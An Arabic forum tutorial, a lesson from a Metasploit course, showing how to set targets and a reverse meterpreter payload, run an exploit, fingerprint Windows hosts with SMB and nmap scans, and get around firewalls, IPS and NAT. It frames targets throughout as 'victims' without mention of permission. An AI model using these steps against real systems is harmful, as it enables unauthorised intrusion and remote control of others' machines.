الدرس السادس : استغلال الثغرات والمشاكل التي نواجهها[ دورة الميتاسبلويت ]

 السلام عليكم ورحمه الله وبركاته

الدرس هذا ما كان بخطة الدوره لكن بعد الاسئله عن كيفيه استغلال الثغره والمشاكل التي تواجها , قررت اكتب هذا الدرس .

على العموم اعتذر على التأخر , لكن الدراسه وما تعمل .



استغلال الثغره اسهل مما تتصور .

بعد ما اخترنا الثغره عن طريق الامر use

بعد ما اخترنا الثغره نكتب show option




بعد ما نظرنا للمتغيرات

راح نجد RHOST

وتعني دائما اي بي الضحيه

ٌRPORT

وتعني دائما بورت الضحيه , غالبا ما انصح بتغييره الا اذا كانت الثغره تعمل على اكثر من بورت

بعدها نضع لكل المتغيرات قيمه . [/b]

كود PHP:

الرمز:

set rhost اي بي الضحيه

كود PHP:

الرمز:

set rport بورت الضحيه

بقي الان لنا payload

كود PHP:

الرمز:

set payload payload na me

نكتب

show options



ظهرت لنا خيارات جديده وهي خيارات payload

LHOST وتعني ip المهاجم ,

LPORT وتعني بورت المهاجم

كود PHP:

الرمز:

set lhost اي بي المهاجم

كود PHP:

الرمز:

set lport بورت المهاجم

ثم اخر شيء نكتب exploit

ونشغل الثغره

ما اتوقع ان في اداه استغلالها اسهل من هذا , حتى البايزون التعامل معه اصعب


1- نختار الثغره

كود PHP:

الرمز:

use windows/smb/smb

كود PHP:

الرمز:

show option

كود PHP:

الرمز:

set المتغير Abc

كود PHP:

الرمز:

set payload windows/meterpreter

كود PHP:

الرمز:

set المتغير abc

كود PHP:

الرمز:

exploit

استغلينا الثغره هل اخترقنا الضحيه ؟!

اذا قال عندك sessions open

عندك ضحيه , اذا ما قالها , يعني ما حصل شيء ,


طيب كيف نستغل الثغره ونعرف انها شغالها , عن طريق الفحص , افحص ضحيتك قبل الهجوم ,

وقبل تفحص ضحيتك , اجمع معلومات عنه .

عندك nmap nessus او amap , لا تهجم قبل تتأكد من ان البورت مفتوح وان النظام معروف

ممكن تخمن النظام عن طريق nmap ويعطيك النظام المتوقع , لكن اذا كان خدمه smb

شغاله , ففي هذه الحاله نقدر نعرف النظام 100 %

عن طريق الميتاسبلويت مثال :

كود PHP:

الرمز:

msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set rhosts 192.168.1.2 rhosts => 192.168.1.2 msf auxiliary(version) > run [*] 192.168.1.2 is running Windows Vista Ultimate Service Pack 1 (********: Unknown) (****:BANDAR-PC) (domain:WORKGROUP) msf auxiliary(version) >

اعطاني النظام والاسم والدومين


لكن خلونا نروح للـ nmap

كود PHP:

الرمز:

msf auxiliary(version) > nmap -PN 192.168.1.2 -p 445 -O [*] exec: nmap -PN 192.168.1.2 -p 445 -O Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-15 05:45 EST Interesting ports on 192.168.1.2: PORT    STATE SERVICE 445/tcp open  microsoft-ds MAC Address: 00:1D:60:64:06:EC (Asustek Computer) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows Vista|2008 OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1 Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds

اعطاني مثل ماتشوفون تخمينات ,


عرفنا كيف نختار الثغره اذا كانت ريموت ,

اذا كان الضحيه ما عنده بورت مفتوح ؟!

نروح لتغرات client-side attacks ,

80 % من النوعيه هذي ناجحه , واذا رجعت لهذه الثغرات راح تخترق , مثل تغرات المتصفح


طيب لو ما اشتغلت هذه الثغرات ,,

تأكد من الخيارات من جديد , تأكد انك وضعت جميع القيم للمتغيرات


خارج الايطار : شغل اداه tcpdump لتعرف ان ادواتك شغاله , مثلا لو استغلينا الثغره والميتاسبلويت توقف فجأه او صار اي شيء , راح تكون مراقب الترافيك وتعرف ,

صراحه انا صارت معي مشكله مع nmap فحص جهاز واخذت ساعه وربع وانا انتظر ,

nmap توقف فجأه وانا ما ادري , اخذت انتظر ثم شغلت tcpdump وعرفت ان الـ nmap

متوقف, لذلك من الافضل قبل تسوي اي هجوم شغل tcpdump لتعرف ان ادواتك شغاله على الوجه الصحيح


المهم نرجع لاهم الاسباب في فشل استغلال الثغرات

1- الضحيه لا يستخدم البرنامج المصاب

بعض المرات يكون البرنامج غير موجود وهذه ليست بالمشكله فهنالك العشرات من الثغرات النختلفه .

2- الجدار الناري يحجب الوصول الى البورت

بعض البورتات تكون محجوبه وبعضها لا , مثل تغرات SMB تستخدم اكثر من بورت

لذلك حاول تغير بين البورتات .

3- هنالك من يكشف الثغره ويقوم بحجبها مثل IPS

من الصعب التعامل مع هذه المشكله لكن الافضل هو التعامل مع evasion في الميتاسبلويت

ولا انصح المبتدأ التعامل معها

4- الضحيه ممكن يكون قابل للاستغلال الثغره لكن لم تستغل

هذه المشكله نادرا ما تحدث , وهي عندما تستغل الثغره , ممكن يصير شيء غير متوقع

وهي مثلا يصير له هانق "يهنق" او مثلا يعيد التشغيل

مره كنت اختبر ثغره جديده , الجهاز لي ما كان لأحد بمعنى اخر اختبر الثغره على جهازي

جهازي ما حدثته يعني الثغره لازم تشتغل , استغليت الثغره , وفجأه الجهاز وقف عن العمل لذلك

لذلك ممكن بعض المرات تواجهك هذه المشكله

5- الجهاز خلف nat

هذا اصبح معروف , جميع الاجهزه خلف نات , مافيه اي شخص الا ويستخدم مودم

لذلك يجب التأكد ان البورت مفتوح وايضا تأكد ان تستخدم اتصال عكسي .